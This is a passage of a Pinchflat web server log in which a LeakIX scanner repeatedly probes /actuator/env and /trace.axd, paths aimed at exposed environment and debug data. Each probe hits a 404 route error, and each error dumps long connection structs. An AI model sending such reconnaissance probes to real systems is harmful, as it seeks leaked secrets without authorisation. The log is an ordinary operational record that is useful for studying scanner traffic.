}, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJp71x4PqxZMAFojB"} ], scheme: :http, (truncated) 17:50:47.788 [info] GET /actuator/env 17:50:47.789 [debug] QUERY OK source="settings" db=0.1ms idle=979.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:47.789 [debug] QUERY OK source="settings" db=0.1ms idle=782.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:47.789 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:47.789 [error] #PID<0.162795.0> running PinchflatWeb.Endpoint (connection #PID<0.162794.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162795.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJqqhSEcXsxsAFojh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162794.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44324}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162795.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJqqhSEcXsxsAFojh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, stat (truncated) 17:50:48.611 [info] GET /actuator/env 17:50:48.612 [debug] QUERY OK source="settings" db=0.1ms idle=1018.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:48.612 [debug] QUERY OK source="settings" db=0.1ms idle=1018.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:48.612 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:48.612 [error] #PID<0.162797.0> running PinchflatWeb.Endpoint (connection #PID<0.162796.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44340}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162797.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJturPcvyWq4AFokB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44340}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162796.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44340}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162797.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJturPcvyWq4AFokB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 17:50:48.807 [info] GET /trace.axd 17:50:48.807 [debug] QUERY OK source="settings" db=0.2ms idle=1017.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:48.807 [debug] QUERY OK source="settings" db=0.2ms idle=1018.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:48.808 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:48.808 [error] #PID<0.162799.0> running PinchflatWeb.Endpoint (connection #PID<0.162798.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44356}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162799.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJudR4b0NiLMAFokh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44356}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162798.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44356}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162799.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJudR4b0NiLMAFokh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Rout (truncated) 17:50:49.612 [info] GET /trace.axd 17:50:49.613 [debug] QUERY OK source="settings" db=0.1ms idle=1000.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:49.613 [debug] QUERY OK source="settings" db=0.1ms idle=1000.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:49.613 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:49.613 [error] #PID<0.162801.0> running PinchflatWeb.Endpoint (connection #PID<0.162800.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162801.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJxdP9DwB3oQAFolB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44366}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162801.0>, params: %{}, path_info: ["trace"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, 